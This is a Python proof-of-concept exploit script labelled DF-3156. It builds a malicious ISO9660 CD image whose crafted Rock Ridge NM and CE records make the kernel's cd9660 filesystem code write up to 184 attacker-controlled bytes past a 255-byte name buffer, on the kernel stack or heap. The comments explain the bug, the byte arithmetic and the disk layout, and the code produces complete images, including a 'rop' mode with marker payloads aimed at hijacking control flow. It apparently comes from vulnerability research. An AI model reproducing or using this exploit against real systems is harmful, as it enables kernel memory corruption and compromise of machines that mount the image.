DF-3156 / craft_dangle.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 | #!/usr/bin/env python3 # DF-3156 -- dangling-NM-CONTINUE chain -> cd9660_rrip_defname() writes the # translated ISO name at the un-reset ana->outbuf (base + 255) => OOB write # past the 255-byte name buffer (kernel stack in cd9660_lookup, kernel heap # in cd9660_readdir). # # Mechanism (sys/vfs/isofs/cd9660/cd9660_rrip.c): # altname() advances ana->outbuf on every NM fragment (:277) and only # rewinds it on the '>maxlen' rejection (:271). If the walk ends with the # chain unterminated (last NM has FLAGS=CONTINUE and no further NM ever # arrives -- natural end of the SUSP area after a CE continuation), # `result` never gets ISO_SUSP_ALTNAME, so cd9660_rrip_loop()'s default # fallback (:581-584) calls cd9660_rrip_defname(), which runs # isofntrans(isodir->name, name_len, ana->outbuf, ...) at the stale # pointer (:289-292): name_len bytes written at base+255. # # Budget arithmetic (reclen is a u8, max 255): # record = 33 + name_len + NM1(10) + CE(28) <= 255 -> name_len <= 184 # N (=NM1.wlen + NM2.wlen) = 5 + 250 = 255 (outlen cap, each step <=255) # => write at base+255 .. base+255+name_len-1: up to 184 OOB bytes of # fully attacker-controlled content (the ISO name itself, copied # verbatim at joliet_level 0, original=1). # # Layout (2048-byte sectors): # 16 PVD (root extent = 32, size = 2048) # 17 Volume Descriptor Set Terminator # 32 root dir extent: "." (SP+ER+PX), "..", TRIGGER entry, "Z" # 34 CE continuation block: single NM(len=255, FLAGS=CONTINUE) import struct, sys BSZ = 2048 ROOT_EXT = 32 CE_BLK = 34 TRIG_EXT = 36 NSEC = 40 def b733(v): return struct.pack('<I', v) + struct.pack('>I', v) def b723(v): return struct.pack('<H', v) + struct.pack('>H', v) def susp(sig, body): assert len(sig) == 2 ln = 4 + len(body) assert 4 <= ln <= 255 return sig.encode() + bytes([ln, 1]) + body def sp(skip=0): return susp('SP', bytes([0xBE, 0xEF, skip])) def er(): i = b'IEEE_P1282' return susp('ER', bytes([len(i), 0, 0, 1]) + i) def px(mode=0o100644, links=1, uid=0, gid=0): return susp('PX', b733(mode) + b733(links) + b733(uid) + b733(gid)) def nm_cont(data): "NM with FLAGS=CONTINUE (0x01): advances outbuf, never completes the chain" assert 1 <= len(data) <= 250 return susp('NM', bytes([0x01]) + data) def ce(blk, off, ln): return susp('CE', b733(blk) + b733(off) + b733(ln)) def dirrec(name, extent, size, flags, susp_area): pad = b'\x00' if not (len(name) & 1) else b'' base = (bytes([33 + len(name) + len(pad) + len(susp_area), 0]) + b733(extent) + b733(size) + bytes(7) + bytes([flags, 0, 0]) + b723(1) + bytes([len(name)]) + name) # ISO9660 pads the record to even length; the SUSP area starts after # the pad (cd9660_rrip.c:484-486: pwhead++ when name_len is even). return base + pad + susp_area def build(name, nm1b=b'AAAAA'): # name: the ISO9660 name of the trigger record -- becomes the OOB write # content via isofntrans (verbatim copy at joliet_level 0 / original=1). # First byte must not be 0x00/0x01 (defname's post-switch reads it). assert len(name) + 71 <= 255, len(name) # 33 + NM1(10) + CE(28) + name(+pad) assert len(name) & 1, "use odd-length names (no pad byte needed)" assert name[0] not in (0, 1) img = bytearray(b'\x00' * (BSZ * NSEC)) pvd = bytearray(BSZ) pvd[0] = 1 pvd[1:6] = b'CD001' pvd[6] = 1 pvd[8:40] = b'DF3156 CRAFTED IMAGE'.ljust(32) pvd[40:72] = b'DF3156'.ljust(32) pvd[80:88] = b733(NSEC) pvd[120:124] = b723(1) pvd[124:128] = b723(1) pvd[128:132] = b723(BSZ) pvd[132:140] = b733(10) root = (bytes([34, 0]) + b733(ROOT_EXT) + b733(BSZ) + bytes(7) + bytes([2, 0, 0]) + b723(1) + bytes([1, 0])) assert len(root) == 34 pvd[156:190] = root pvd[881] = 1 img[16*BSZ:17*BSZ] = pvd term = bytearray(BSZ) term[0] = 255 term[1:6] = b'CD001' term[6] = 1 img[17*BSZ:18*BSZ] = term susp_dot = sp(0) + er() + px(0o040555, 1, 0, 0) dot = dirrec(b'\x00', ROOT_EXT, BSZ, 2, susp_dot) dotdot = dirrec(b'\x01', ROOT_EXT, BSZ, 2, susp_dot) # TRIGGER: SU = NM1(CONT, 5B) + CE(->blk34 off0 len255); name = payload trig_susp = nm_cont(nm1b) + ce(CE_BLK, 0, 255) trig = dirrec(name, TRIG_EXT, 0, 0, trig_susp) assert len(trig) <= 255, len(trig) z = dirrec(b'Z', TRIG_EXT + 1, 0, 0, px()) d = bytearray(BSZ) off = 0 for rec in (dot, dotdot, trig, z): d[off:off+len(rec)] = rec off += len(rec) assert off <= BSZ, off img[32*BSZ:33*BSZ] = d # CE block: exactly one NM(255, CONT) covering the whole ce_len ceb = bytearray(BSZ) nm2 = nm_cont(b'C' * 250) assert len(nm2) == 255 ceb[0:255] = nm2 img[CE_BLK*BSZ:(CE_BLK+1)*BSZ] = ceb return bytes(img) def pattern_name(n): "cycling A..Z pattern so byte offsets are identifiable in stack dumps" return bytes(bytearray([0x41 + (i % 26) for i in range(n)])) if __name__ == '__main__': mode = sys.argv[1] if len(sys.argv) > 1 else 'pat183' out = sys.argv[2] if len(sys.argv) > 2 else 'df3156.iso' if mode == 'pat183': img = build(pattern_name(183)) # odd length: no pad byte needed elif mode == 'x4242': img = build(b'\x42' * 183) elif mode == 'rop': # byte 0 = 'R' (must not be 0/1), then 8-byte markers name = b'R' + b''.join(struct.pack('<Q', 0x4141414100000000 + i) for i in range(22)) img = build(name) else: sys.exit('modes: pat183 x4242 rop') open(out, 'wb').write(img) print('wrote %s (%d bytes)' % (out, len(img))) |